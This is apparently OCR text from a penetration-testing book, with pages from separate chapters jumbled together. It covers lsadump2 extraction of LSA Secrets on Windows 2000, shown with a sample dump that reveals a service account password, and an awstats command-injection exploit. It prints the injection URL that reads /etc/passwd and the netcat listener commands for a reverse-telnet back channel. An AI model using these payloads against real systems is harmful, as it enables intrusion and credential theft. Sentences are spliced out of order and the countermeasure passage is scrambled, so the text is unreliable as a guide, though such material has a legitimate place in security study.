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One of the most effective techniques employed by intruders is finding domain user credentials (as opposed to local) valid in the current or other domains because it allows them to island-hop from stand-alone servers to domain controllers and across domain security boundaries quite easily One of the gravest offenses that allow this kind of activity is system administrators who log on to a stand-alone box with their domain account credentials Win 2000 won t save anyone from the obvious mistakes!

Popularity: Simplicity: Impact: Risk Rating: 5 3 8 5

Popularity: Simplicity: Impact: Risk Rating: 8 10 10 9

As we saw in 5, the LSA Secrets vulnerability is a key mechanism for exploiting external trust relationships because it reveals the last several users to log on to a system and the passwords to service accounts Despite Microsoft having advertised a fix for LSA Secrets following Service Pack 3, much of this sensitive data can be still extracted using the updated lsadump2 utility from Todd Sabin (http://razorbindviewcom/tools/desc/lsadump2_readmehtml) Here is an example of lsadump2 extracting a service account on a Win 2000 domain controller The last entry shows the service BckpSvr logs on with a password of password1234

Before we get into back channels, let s take a look at how attackers might exploit the awstats vulnerability to perform arbitrary command execution such as viewing the contents of the /etc/passwd file

C:\>lsadump2 $MACHINEACC 7D 58 DA 95 69 3E 3E 9E AC C1 B8 09 F1 06 C4 9E }Xi>> 6A BE DA 2D F7 94 B4 90 B2 39 D7 77 j-9w TermServLiceningSignKey-12d4b7c8-77d5-11d1-8c24-00c04fa3080d TS:InternetConnectorPswd 36 00 36 00 2B 00 32 00 48 00 68 00 32 00 62 00 66+2Hh2b 44 00 55 00 41 00 44 00 47 00 50 00 00 00 DUADGP _SC_BckpSvr 74 00 65 00 73 00 74 00 75 00 73 00 65 00 72 00 password 31 00 32 00 33 00 34 00 1234

http://vulnerable_targets_IP/awstats/awstatspl configdir=|echo%20; echo%20;cat%20/etc/passwd;echo%20;echo

U lsadump2 Countermeasure be a security vulnerability, because running lsadump2 Microsoft doesn t consider this to

When the preceding URL is requested from the web server, the command cat /etc/ passwd is executed with the privileges of the www user The command output is then offered in the form of a file download to the user Because attackers are able to execute remote commands on the web server, a slightly modified version of this exploit will grant interactive shell access The first method we will discuss is known as a back channel We define back channel as a mechanism where the communication channel originates from the target system rather than from the attacking system Remember, in our scenario, attackers cannot obtain an interactive shell in the traditional sense because all ports except 80 and 443 are blocked by the firewall So, the attackers must originate a session from the vulnerable UNIX server to their system by creating a back channel A few methods can be used to accomplish this task In the first method, called reverse telnet, telnet is used to create a back channel from the target system to the attackers system This technique is called reverse telnet because the telnet connection originates from the system to which the attackers are attempting to gain access instead of originating from the attackers system A telnet client is typically installed on most UNIX servers, and its use is seldom restricted Telnet is the perfect choice for a back-channel client if xterm is unavailable To execute a reverse telnet, we need to enlist the all-powerful netcat (or nc) utility Because we are telnetting from the target system, we must enable nc listeners on our own system that will accept our reverse telnet connections We must execute the following commands on our system in two separate windows to successfully receive the reverse telnet connections:

requires the SeDebugPrivilege, granted only to Administrators by default Certainly, the best advice for defending against lsadump2 is to prevent your Administrator accounts from being compromised in the first place However, if the worst occurs and Administra-

[sigma]# nc -l -n -v -p 80 listening on [any] 80 [sigma]# nc l n v p 25 listening on [any] 25